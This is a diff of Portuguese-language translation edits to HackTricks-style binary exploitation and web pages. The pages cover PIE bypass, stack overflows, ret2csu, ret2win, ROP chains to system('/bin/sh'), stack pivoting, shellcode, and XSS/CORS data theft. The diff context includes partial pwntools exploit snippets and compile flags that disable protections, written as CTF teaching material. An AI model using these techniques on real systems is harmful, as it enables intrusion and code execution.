 - Ser **dado** o vazamento (comum em desafios fáceis de CTF, [**ver este exemplo**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
@@ -23,7 +23,7 @@ Para burlar o PIE é necessário **vazar algum endereço do binário carregado**
 bypassing-canary-and-pie.md
 {{#endref}}
 
-- Usar uma vulnerabilidade de leitura arbitrária, como [**string de formato**](../../format-strings/), para vazar um endereço do binário (por exemplo, da pilha, como na técnica anterior) para obter a base do binário e usar deslocamentos a partir daí. [**Encontre um exemplo aqui**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
+- Usar uma vulnerabilidade de leitura arbitrária, como [**string de formato**](../../format-strings/index.html), para vazar um endereço do binário (por exemplo, da pilha, como na técnica anterior) para obter a base do binário e usar deslocamentos a partir daí. [**Encontre um exemplo aqui**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 
 ## Referências
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md

@@ -4,14 +4,14 @@
 
 ## O que é um Stack Overflow
 
-Um **stack overflow** é uma vulnerabilidade que ocorre quando um programa escreve mais dados na pilha do que foi alocado para armazená-los. Esses dados em excesso **sobrescreverão o espaço de memória adjacente**, levando à corrupção de dados válidos, interrupção do fluxo de controle e potencialmente à execução de código malicioso. Esse problema geralmente surge devido ao uso de funções inseguras que não realizam verificação de limites na entrada.
+Um **stack overflow** é uma vulnerabilidade que ocorre quando um programa escreve mais dados na pilha do que foi alocado para armazená-los. Esses dados em excesso **sobrescreverão o espaço de memória adjacente**, levando à corrupção de dados válidos, interrupção do fluxo de controle e, potencialmente, à execução de código malicioso. Esse problema geralmente surge devido ao uso de funções inseguras que não realizam verificação de limites na entrada.
 
-O principal problema dessa sobrescrita é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro de base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**.
+O principal problema dessa sobrescrita é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**.
 
-A vulnerabilidade geralmente surge porque uma função **copia na pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha.\
+A vulnerabilidade geralmente surge porque uma função **copia dentro da pilha mais bytes do que a quantidade alocada para ela**, podendo assim sobrescrever outras partes da pilha.\
 Algumas funções comuns vulneráveis a isso são: `strcpy`, `strcat`, `sprintf`, `gets`... Além disso, funções como `fgets` ou `read`, que aceitam um argumento de comprimento, podem ser usadas de maneira vulnerável se o comprimento especificado for maior do que o alocado.
 
-Por exemplo, as seguintes funções podem ser vulneráveis:
+Por exemplo, as seguintes funções poderiam ser vulneráveis:
 ```c
 void vulnerable() {
 char buffer[128];
@@ -26,7 +26,7 @@ A maneira mais comum de encontrar stack overflows é fornecer uma entrada muito
 
 Além disso, uma vez que você encontrou que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto dado de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada possível subsequência de comprimento **_**n**_** aparece exatamente uma vez** como uma subsequência contígua.
 
-Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e então encontrar o offset dos bytes que acabaram sobrescrevendo-o.
+Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e, em seguida, encontrar o offset dos bytes que acabaram sobrescrevendo-o.
 
 É possível usar **pwntools** para isso:
 ```python
@@ -56,7 +56,7 @@ No entanto, em outros cenários, talvez apenas **sobrescrever alguns valores de
 
 ### Ret2win
 
-Neste tipo de desafios CTF, há uma **função** **dentro** do binário que **nunca é chamada** e que **você precisa chamar para vencer**. Para esses desafios, você só precisa encontrar o **offset para sobrescrever o endereço de retorno** e **encontrar o endereço da função** a ser chamada (geralmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/) estaria desativado) para que, quando a função vulnerável retornar, a função oculta seja chamada:
+Neste tipo de desafios CTF, há uma **função** **dentro** do binário que **nunca é chamada** e que **você precisa chamar para vencer**. Para esses desafios, você só precisa encontrar o **offset para sobrescrever o endereço de retorno** e **encontrar o endereço da função** a ser chamada (geralmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) estaria desativado) para que, quando a função vulnerável retornar, a função oculta seja chamada:
 
 {{#ref}}
 ret2win.md

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md

@@ -6,7 +6,7 @@
 
 **ret2csu** é uma técnica de hacking usada quando você está tentando assumir o controle de um programa, mas não consegue encontrar os **gadgets** que normalmente usa para manipular o comportamento do programa. 
 
-Quando um programa usa certas bibliotecas (como libc), ele possui algumas funções embutidas para gerenciar como diferentes partes do programa se comunicam. Entre essas funções, existem algumas joias ocultas que podem agir como nossos gadgets ausentes, especialmente uma chamada `__libc_csu_init`.
+Quando um programa usa certas bibliotecas (como libc), ele possui algumas funções embutidas para gerenciar como diferentes partes do programa se comunicam. Entre essas funções, existem algumas joias ocultas que podem atuar como nossos gadgets ausentes, especialmente uma chamada `__libc_csu_init`.
 
 ### Os Gadgets Mágicos em \_\_libc_csu_init
 
@@ -37,7 +37,7 @@ call qword [r15 + rbx*8];
 
 Imagine que você quer fazer uma syscall ou chamar uma função como `write()`, mas precisa de valores específicos nos registradores `rdx` e `rsi` como parâmetros. Normalmente, você procuraria gadgets que definem esses registradores diretamente, mas não consegue encontrar nenhum.
 
-É aqui que **ret2csu** entra em cena:
+Aqui é onde **ret2csu** entra em cena:
 
 1. **Configurar os Registradores**: Use o primeiro gadget mágico para retirar valores da pilha e colocá-los em rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
 2. **Usar o Segundo Gadget**: Com esses registradores configurados, você usa o segundo gadget. Isso permite que você mova seus valores escolhidos para `rdx` e `rsi` (de r14 e r13, respectivamente), preparando os parâmetros para uma chamada de função. Além disso, ao controlar `r15` e `rbx`, você pode fazer o programa chamar uma função localizada no endereço que você calcula e coloca em `[r15 + rbx*8]`.
@@ -67,10 +67,10 @@ p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
 print(p.recvline())                        # should receive "Awesome work!"
 ```
 > [!WARNING]
-> Note que a exploração anterior não tem como objetivo fazer um **`RCE`**, mas sim chamar uma função chamada `win` (pegando o endereço de `win` da entrada padrão chamando gets na cadeia ROP e armazenando-o em r15) com um terceiro argumento com o valor `0xdeadbeefcafed00d`.
+> Note que a exploração anterior não é destinada a fazer um **`RCE`**, mas sim a chamar uma função chamada `win` (pegando o endereço de `win` da entrada padrão chamando gets na cadeia ROP e armazenando-o em r15) com um terceiro argumento com o valor `0xdeadbeefcafed00d`.
 
 ### Por Que Não Apenas Usar libc Diretamente?
 
-Normalmente, esses casos também são vulneráveis a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), mas às vezes você precisa controlar mais parâmetros do que os que podem ser facilmente controlados com os gadgets que você encontra diretamente na libc. Por exemplo, a função `write()` requer três parâmetros, e **encontrar gadgets para definir todos esses diretamente pode não ser possível**.
+Normalmente, esses casos também são vulneráveis a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), mas às vezes você precisa controlar mais parâmetros do que os que podem ser facilmente controlados com os gadgets que você encontra diretamente em libc. Por exemplo, a função `write()` requer três parâmetros, e **encontrar gadgets para definir todos esses diretamente pode não ser possível**.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md

@@ -6,7 +6,7 @@
 
 **Porque o ESP (Ponteiro de Pilha) sempre aponta para o topo da pilha**, esta técnica envolve substituir o EIP (Ponteiro de Instrução) pelo endereço de uma instrução **`jmp esp`** ou **`call esp`**. Ao fazer isso, o shellcode é colocado logo após o EIP sobrescrito. Quando a instrução `ret` é executada, o ESP aponta para o próximo endereço, precisamente onde o shellcode está armazenado.
 
-Se **Randomização de Layout de Espaço de Endereçamento (ASLR)** não estiver habilitada no Windows ou Linux, é possível usar instruções `jmp esp` ou `call esp` encontradas em bibliotecas compartilhadas. No entanto, com [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ativo, pode ser necessário procurar dentro do próprio programa vulnerável por essas instruções (e pode ser necessário derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/)).
+Se **Randomização de Layout de Espaço de Endereçamento (ASLR)** não estiver habilitada no Windows ou Linux, é possível usar instruções `jmp esp` ou `call esp` encontradas em bibliotecas compartilhadas. No entanto, com [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ativo, pode ser necessário procurar dentro do próprio programa vulnerável por essas instruções (e pode ser necessário derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
 
 Além disso, ser capaz de colocar o shellcode **após a corrupção do EIP**, em vez de no meio da pilha, garante que quaisquer instruções `push` ou `pop` executadas durante a operação da função não interfiram com o shellcode. Essa interferência poderia ocorrer se o shellcode fosse colocado no meio da pilha da função.
 
@@ -52,7 +52,7 @@ Você pode encontrar um exemplo aqui: [https://ir0nstone.gitbook.io/notes/types/
 ## Proteções
 
 - [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Se a pilha não for executável, isso não ajudará, pois precisamos colocar o shellcode na pilha e pular para executá-lo.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Esses podem dificultar a localização de uma instrução para pular para esp ou qualquer outro registrador.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Esses podem dificultar a localização de uma instrução para pular para esp ou qualquer outro registrador.
 
 ## Referências
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md

@@ -4,11 +4,11 @@
 
 ## Informações Básicas
 
-Desafios **Ret2win** são uma categoria popular em competições de **Capture The Flag (CTF)**, particularmente em tarefas que envolvem **exploração binária**. O objetivo é explorar uma vulnerabilidade em um binário dado para executar uma função específica, não invocada, dentro do binário, frequentemente nomeada algo como `win`, `flag`, etc. Esta função, quando executada, geralmente imprime uma bandeira ou uma mensagem de sucesso. O desafio normalmente envolve sobrescrever o **endereço de retorno** na pilha para desviar o fluxo de execução para a função desejada. Aqui está uma explicação mais detalhada com exemplos:
+Desafios **Ret2win** são uma categoria popular em competições de **Capture The Flag (CTF)**, particularmente em tarefas que envolvem **exploração binária**. O objetivo é explorar uma vulnerabilidade em um binário dado para executar uma função específica, não invocada, dentro do binário, frequentemente nomeada como `win`, `flag`, etc. Esta função, quando executada, geralmente imprime uma bandeira ou uma mensagem de sucesso. O desafio normalmente envolve sobrescrever o **endereço de retorno** na pilha para desviar o fluxo de execução para a função desejada. Aqui está uma explicação mais detalhada com exemplos:
 
 ### Exemplo em C
 
-Considere um programa C simples com uma vulnerabilidade e uma função `win` que pretendemos chamar:
+Considere um programa simples em C com uma vulnerabilidade e uma função `win` que pretendemos chamar:
 ```c
 #include <stdio.h>
 #include <string.h>
@@ -63,14 +63,14 @@ Para encontrar o endereço da função `win`, você pode usar **gdb**, **objdump
 ```sh
 objdump -d vulnerable | grep win
 ```
-Este comando mostrará a montagem da função `win`, incluindo seu endereço inicial.&#x20;
+Este comando mostrará a montagem da função `win`, incluindo seu endereço de início.&#x20;
 
 O script Python envia uma mensagem cuidadosamente elaborada que, quando processada pela `vulnerable_function`, transborda o buffer e sobrescreve o endereço de retorno na pilha com o endereço de `win`. Quando `vulnerable_function` retorna, em vez de retornar para `main` ou sair, ele salta para `win`, e a mensagem é impressa.
 
 ## Proteções
 
-- [**PIE**](../common-binary-protections-and-bypasses/pie/) **deve ser desativado** para que o endereço seja confiável em todas as execuções ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada. Em alguns casos, quando a função que causa o transbordamento é `read` ou similar, você pode fazer uma **Sobrescrita Parcial** de 1 ou 2 bytes para mudar o endereço de retorno para ser a função win. Devido ao funcionamento do ASLR, os últimos três nibble hexadecimais não são randomizados, então há uma **chance de 1/16** (1 nibble) de obter o endereço de retorno correto.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) também devem ser desativados ou o endereço de retorno EIP comprometido nunca será seguido.
+- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **deve ser desativado** para que o endereço seja confiável em todas as execuções ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada. Em alguns casos, quando a função que causa o transbordamento é `read` ou similar, você pode fazer uma **Sobrescrita Parcial** de 1 ou 2 bytes para mudar o endereço de retorno para ser a função win. Devido ao funcionamento do ASLR, os últimos três nibble hexadecimais não são randomizados, então há uma **chance de 1/16** (1 nibble) de obter o endereço de retorno correto.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) também devem ser desativados ou o endereço de retorno EIP comprometido nunca será seguido.
 
 ## Outros exemplos & Referências
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md

@@ -4,12 +4,12 @@
 
 ## **Informações Básicas**
 
-**Programação Orientada a Retorno (ROP)** é uma técnica avançada de exploração usada para contornar medidas de segurança como **No-Execute (NX)** ou **Prevenção de Execução de Dados (DEP)**. Em vez de injetar e executar shellcode, um atacante aproveita pedaços de código já presentes no binário ou em bibliotecas carregadas, conhecidos como **"gadgets"**. Cada gadget normalmente termina com uma instrução `ret` e realiza uma pequena operação, como mover dados entre registradores ou realizar operações aritméticas. Ao encadear esses gadgets, um atacante pode construir um payload para realizar operações arbitrárias, efetivamente contornando as proteções NX/DEP.
+**Programação Orientada a Retorno (ROP)** é uma técnica avançada de exploração usada para contornar medidas de segurança como **No-Execute (NX)** ou **Prevenção de Execução de Dados (DEP)**. Em vez de injetar e executar shellcode, um atacante aproveita pedaços de código já presentes no binário ou em bibliotecas carregadas, conhecidos como **"gadgets"**. Cada gadget normalmente termina com uma instrução `ret` e realiza uma pequena operação, como mover dados entre registradores ou realizar operações aritméticas. Ao encadear esses gadgets, um atacante pode construir um payload para realizar operações arbitrárias, contornando efetivamente as proteções NX/DEP.
 
 ### Como o ROP Funciona
 
 1. **Sequestro de Fluxo de Controle**: Primeiro, um atacante precisa sequestrar o fluxo de controle de um programa, tipicamente explorando um buffer overflow para sobrescrever um endereço de retorno salvo na pilha.
-2. **Encadeamento de Gadgets**: O atacante então seleciona e encadeia cuidadosamente gadgets para realizar as ações desejadas. Isso pode envolver configurar argumentos para uma chamada de função, chamar a função (por exemplo, `system("/bin/sh")`) e lidar com qualquer limpeza ou operações adicionais necessárias.
+2. **Encadeamento de Gadgets**: O atacante então seleciona e encadeia cuidadosamente gadgets para realizar as ações desejadas. Isso pode envolver a configuração de argumentos para uma chamada de função, chamando a função (por exemplo, `system("/bin/sh")`), e lidando com qualquer limpeza ou operações adicionais necessárias.
 3. **Execução do Payload**: Quando a função vulnerável retorna, em vez de retornar a um local legítimo, começa a executar a cadeia de gadgets.
 
 ### Ferramentas
@@ -18,7 +18,7 @@ Normalmente, gadgets podem ser encontrados usando **[ROPgadget](https://github.c
 
 ## Exemplo de Cadeia ROP em x86
 
-### **x86 (32 bits) Convenções de Chamada**
+### **Convenções de Chamada x86 (32-bit)**
 
 - **cdecl**: O chamador limpa a pilha. Os argumentos da função são empilhados na pilha em ordem reversa (da direita para a esquerda). **Os argumentos são empilhados da direita para a esquerda.**
 - **stdcall**: Semelhante ao cdecl, mas o chamado é responsável por limpar a pilha.
@@ -27,7 +27,7 @@ Normalmente, gadgets podem ser encontrados usando **[ROPgadget](https://github.c
 
 Primeiro, vamos supor que identificamos os gadgets necessários dentro do binário ou suas bibliotecas carregadas. Os gadgets que nos interessam são:
 
-- `pop eax; ret`: Este gadget retira o valor do topo da pilha para o registrador `EAX` e então retorna, permitindo-nos controlar `EAX`.
+- `pop eax; ret`: Este gadget remove o valor do topo da pilha para o registrador `EAX` e então retorna, permitindo-nos controlar `EAX`.
 - `pop ebx; ret`: Semelhante ao acima, mas para o registrador `EBX`, permitindo controle sobre `EBX`.
 - `mov [ebx], eax; ret`: Move o valor em `EAX` para o local de memória apontado por `EBX` e então retorna. Isso é frequentemente chamado de **gadget write-what-where**.
 - Além disso, temos o endereço da função `system()` disponível.
@@ -37,7 +37,7 @@ Primeiro, vamos supor que identificamos os gadgets necessários dentro do binár
 Usando **pwntools**, preparamos a pilha para a execução da cadeia ROP da seguinte forma, visando executar `system('/bin/sh')`, note como a cadeia começa com:
 
 1. Uma instrução `ret` para fins de alinhamento (opcional)
-2. Endereço da função `system` (supondo ASLR desativado e libc conhecida, mais informações em [**Ret2lib**](ret2lib/))
+2. Endereço da função `system` (supondo ASLR desativado e libc conhecido, mais informações em [**Ret2lib**](ret2lib/index.html))
 3. Placeholder para o endereço de retorno da `system()`
 4. Endereço da string `"/bin/sh"` (parâmetro para a função system)
 ```python
@@ -77,7 +77,7 @@ p.interactive()
 
 ### **Convenções de chamada x64 (64 bits)**
 
-- Usa a convenção de chamada **System V AMD64 ABI** em sistemas semelhantes ao Unix, onde os **seis primeiros argumentos inteiros ou ponteiros são passados nos registradores `RDI`, `RSI`, `RDX`, `RCX`, `R8` e `R9`**. Argumentos adicionais são passados na pilha. O valor de retorno é colocado em `RAX`.
+- Usa a convenção de chamada **System V AMD64 ABI** em sistemas Unix-like, onde os **seis primeiros argumentos inteiros ou ponteiros são passados nos registradores `RDI`, `RSI`, `RDX`, `RCX`, `R8` e `R9`**. Argumentos adicionais são passados na pilha. O valor de retorno é colocado em `RAX`.
 - A convenção de chamada **Windows x64** usa `RCX`, `RDX`, `R8` e `R9` para os quatro primeiros argumentos inteiros ou ponteiros, com argumentos adicionais passados na pilha. O valor de retorno é colocado em `RAX`.
 - **Registradores**: os registradores de 64 bits incluem `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` e `R8` a `R15`.
 
@@ -92,7 +92,7 @@ E sabemos o endereço da função **system()**.
 
 ### **Cadeia ROP**
 
-Abaixo está um exemplo usando **pwntools** para configurar e executar uma cadeia ROP com o objetivo de executar **system('/bin/sh')** em **x64**:
+Abaixo está um exemplo usando **pwntools** para configurar e executar uma cadeia ROP visando executar **system('/bin/sh')** em **x64**:
 ```python
 from pwn import *
 
@@ -140,12 +140,12 @@ Neste exemplo:
 ## Principal diferença entre x86 e x64
 
 > [!TIP]
-> Como x64 usa registradores para os primeiros argumentos, geralmente requer menos gadgets do que x86 para chamadas de função simples, mas encontrar e encadear os gadgets certos pode ser mais complexo devido ao aumento do número de registradores e ao maior espaço de endereçamento. O aumento do número de registradores e o maior espaço de endereçamento na arquitetura **x64** oferecem tanto oportunidades quanto desafios para o desenvolvimento de exploits, especialmente no contexto de Return-Oriented Programming (ROP).
+> Como x64 usa registradores para os primeiros argumentos, geralmente requer menos gadgets do que x86 para chamadas de função simples, mas encontrar e encadear os gadgets certos pode ser mais complexo devido ao maior número de registradores e ao espaço de endereço maior. O aumento do número de registradores e o espaço de endereço maior na arquitetura **x64** oferecem tanto oportunidades quanto desafios para o desenvolvimento de exploits, especialmente no contexto da Programação Orientada a Retorno (ROP).
 
 ## Proteções
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/)
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html)
 
 ## Outros Exemplos & Referências
 
@@ -161,7 +161,7 @@ Observe que ROP é apenas uma técnica para executar código arbitrário. Basead
 ret2lib/
 {{#endref}}
 
-- **Ret2Syscall**: Use ROP para preparar uma chamada a uma syscall, e.g. `execve`, e fazer com que execute comandos arbitrários.
+- **Ret2Syscall**: Use ROP para preparar uma chamada a uma syscall, por exemplo, `execve`, e fazer com que execute comandos arbitrários.
 
 {{#ref}}
 rop-syscall-execv.md

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

@@ -4,7 +4,7 @@
 
 ## Informações Básicas
 
-Esta técnica explora a capacidade de manipular o **Base Pointer (EBP)** para encadear a execução de múltiplas funções através do uso cuidadoso do registrador EBP e da sequência de instruções `leave; ret`.
+Esta técnica explora a capacidade de manipular o **Ponteiro Base (EBP)** para encadear a execução de várias funções através do uso cuidadoso do registrador EBP e da sequência de instruções `leave; ret`.
 
 Como lembrete, **`leave`** basicamente significa:
 ```
@@ -18,19 +18,19 @@ E como o **EBP está na pilha** antes do EIP, é possível controlá-lo controla
 
 Esta técnica é particularmente útil quando você pode **alterar o registrador EBP, mas não tem uma maneira direta de mudar o registrador EIP**. Ela aproveita o comportamento das funções quando terminam de executar.
 
-Se, durante a execução de `fvuln`, você conseguir injetar um **EBP falso** na pilha que aponte para uma área na memória onde o endereço do seu shellcode está localizado (mais 4 bytes para contabilizar a operação `pop`), você pode controlar indiretamente o EIP. Quando `fvuln` retorna, o ESP é definido para esta localização manipulada, e a operação `pop` subsequente diminui o ESP em 4, **fazendo com que aponte efetivamente para um endereço armazenado pelo atacante ali.**\
+Se, durante a execução de `fvuln`, você conseguir injetar um **EBP falso** na pilha que aponte para uma área na memória onde o endereço do seu shellcode está localizado (mais 4 bytes para contabilizar a operação `pop`), você pode controlar indiretamente o EIP. Quando `fvuln` retorna, o ESP é definido para esta localização manipulada, e a operação `pop` subsequente diminui o ESP em 4, **fazendo efetivamente com que aponte para um endereço armazenado pelo atacante ali.**\
 Note como você **precisa saber 2 endereços**: aquele para onde o ESP vai, onde você precisará escrever o endereço que é apontado pelo ESP.
 
 #### Construção do Exploit
 
 Primeiro, você precisa saber um **endereço onde pode escrever dados / endereços arbitrários**. O ESP apontará aqui e **executará o primeiro `ret`**.
 
-Então, você precisa saber o endereço usado pelo `ret` que irá **executar código arbitrário**. Você poderia usar:
+Em seguida, você precisa saber o endereço usado pelo `ret` que irá **executar código arbitrário**. Você poderia usar:
 
-- Um endereço válido [**ONE_GADGET**](https://github.com/david942j/one_gadget).
+- Um endereço válido de [**ONE_GADGET**](https://github.com/david942j/one_gadget).
 - O endereço de **`system()`** seguido de **4 bytes de lixo** e o endereço de `"/bin/sh"` (x86 bits).
 - O endereço de um gadget **`jump esp;`** ([**ret2esp**](ret2esp-ret2reg.md)) seguido do **shellcode** a ser executado.
-- Alguma cadeia [**ROP**](rop-return-oriented-programing.md)
+- Alguma cadeia [**ROP**](rop-return-oriented-programing.md).
 
 Lembre-se de que antes de qualquer um desses endereços na parte controlada da memória, deve haver **`4` bytes** por causa da parte **`pop`** da instrução `leave`. Seria possível abusar desses 4B para definir um **segundo EBP falso** e continuar controlando a execução.
 
@@ -49,9 +49,9 @@ Agora, o **`ESP`** está controlado apontando para um endereço desejado e a pr
 - **`&(leave;ret)`** -> Chamado após o término do sistema, moverá o ESP para o EBP falso e começará novamente
 - **`&("/bin/sh")`**-> Parâmetro para `system`
 
-Basicamente, dessa forma é possível encadear vários EBPs falsos para controlar o fluxo do programa.
+Basicamente, dessa forma, é possível encadear vários EBPs falsos para controlar o fluxo do programa.
 
-Isso é como um [ret2lib](ret2lib/), mas mais complexo sem benefício aparente, mas pode ser interessante em alguns casos extremos.
+Isso é como um [ret2lib](ret2lib/index.html), mas mais complexo, sem benefício aparente, mas pode ser interessante em alguns casos extremos.
 
 Além disso, aqui você tem um [**exemplo de um desafio**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que usa essa técnica com um **leak de pilha** para chamar uma função vencedora. Este é o payload final da página:
 ```python
@@ -91,7 +91,7 @@ print(p.recvline())
 ```
 ## EBP é inútil
 
-Como [**explicado neste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se um binário é compilado com algumas otimizações, o **EBP nunca consegue controlar o ESP**, portanto, qualquer exploit que funcione controlando o EBP basicamente falhará porque não tem efeito real.\
+Como [**explicado neste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se um binário é compilado com algumas otimizações, o **EBP nunca controla o ESP**, portanto, qualquer exploit que funcione controlando o EBP basicamente falhará porque não tem efeito real.\
 Isso ocorre porque as **mudanças de prólogo e epílogo** se o binário estiver otimizado.
 
 - **Não otimizado:**

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md

@@ -37,7 +37,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 - `-no-pie`: Desabilita o Executável Independente de Posição, facilitando a previsão do endereço de memória onde nosso shellcode estará localizado.
 - `-m32`: Compila o programa como um executável de 32 bits, frequentemente usado por simplicidade no desenvolvimento de exploits.
 
-### Exploit em Python usando Pwntools
+### Python Exploit usando Pwntools
 
 Aqui está como você poderia escrever um exploit em Python usando **pwntools** para realizar um ataque **ret2shellcode**:
 ```python
@@ -72,18 +72,18 @@ O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execuç
 
 ## Proteções
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **deve ser desativado** para que o endereço seja confiável entre execuções ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) também deve ser desativado ou o endereço de retorno EIP comprometido nunca será seguido.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **deve ser desativado** para que o endereço seja confiável entre as execuções ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) também devem ser desativados ou o endereço de retorno EIP comprometido nunca será seguido.
 - A proteção **stack** [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) impediria a execução do shellcode dentro da pilha porque essa região não seria executável.
 
 ## Outros Exemplos & Referências
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
 - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
-- 64bit, ASLR com leak de endereço da pilha, escreva shellcode e salte para ele
+- 64 bits, ASLR com leak de endereço da pilha, escreva shellcode e salte para ele
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
-- 32 bit, ASLR com leak da pilha, escreva shellcode e salte para ele
+- 32 bits, ASLR com leak da pilha, escreva shellcode e salte para ele
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
-- 32 bit, ASLR com leak da pilha, comparação para prevenir chamada para exit(), sobrescreva variável com um valor e escreva shellcode e salte para ele
+- 32 bits, ASLR com leak da pilha, comparação para prevenir chamada para exit(), sobrescreva variável com um valor e escreva shellcode e salte para ele
 
 {{#include ../../../banners/hacktricks-training.md}}

src/stealing-sensitive-information-disclosure-from-a-web.md

@@ -1,4 +1,4 @@
-# Roubo de Informações Sensíveis a partir de uma Web
+# Roubo de Divulgação de Informações Sensíveis de um Web
 
 {{#include ./banners/hacktricks-training.md}}
 
@@ -6,8 +6,8 @@ Se em algum momento você encontrar uma **página da web que apresenta informaç
 Aqui apresento as principais maneiras que você pode tentar alcançar isso:
 
 - [**CORS bypass**](pentesting-web/cors-bypass.md): Se você conseguir contornar os cabeçalhos CORS, poderá roubar as informações realizando uma solicitação Ajax para uma página maliciosa.
-- [**XSS**](pentesting-web/xss-cross-site-scripting/): Se você encontrar uma vulnerabilidade XSS na página, pode ser capaz de abusar dela para roubar as informações.
-- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): Se você não conseguir injetar tags XSS, ainda pode ser capaz de roubar as informações usando outras tags HTML regulares.
-- [**Clickjaking**](pentesting-web/clickjacking.md): Se não houver proteção contra esse ataque, você pode ser capaz de enganar o usuário para enviar os dados sensíveis (um exemplo [aqui](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
+- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html): Se você encontrar uma vulnerabilidade XSS na página, poderá abusar dela para roubar as informações.
+- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/index.html): Se você não conseguir injetar tags XSS, ainda poderá roubar as informações usando outras tags HTML regulares.
+- [**Clickjaking**](pentesting-web/clickjacking.md): Se não houver proteção contra esse ataque, você poderá enganar o usuário para enviar os dados sensíveis (um exemplo [aqui](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
 
 {{#include ./banners/hacktricks-training.md}}

src/todo/stealing-sensitive-information-disclosure-from-a-web.md

@@ -1,4 +1,4 @@
-# Roubo de Divulgação de Informações Sensíveis de uma Web
+# Roubo de Divulgação de Informações Sensíveis de um Web
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,8 +6,8 @@ Se em algum momento você encontrar uma **página da web que apresenta informaç
 Aqui apresento as principais maneiras que você pode tentar alcançar isso:
 
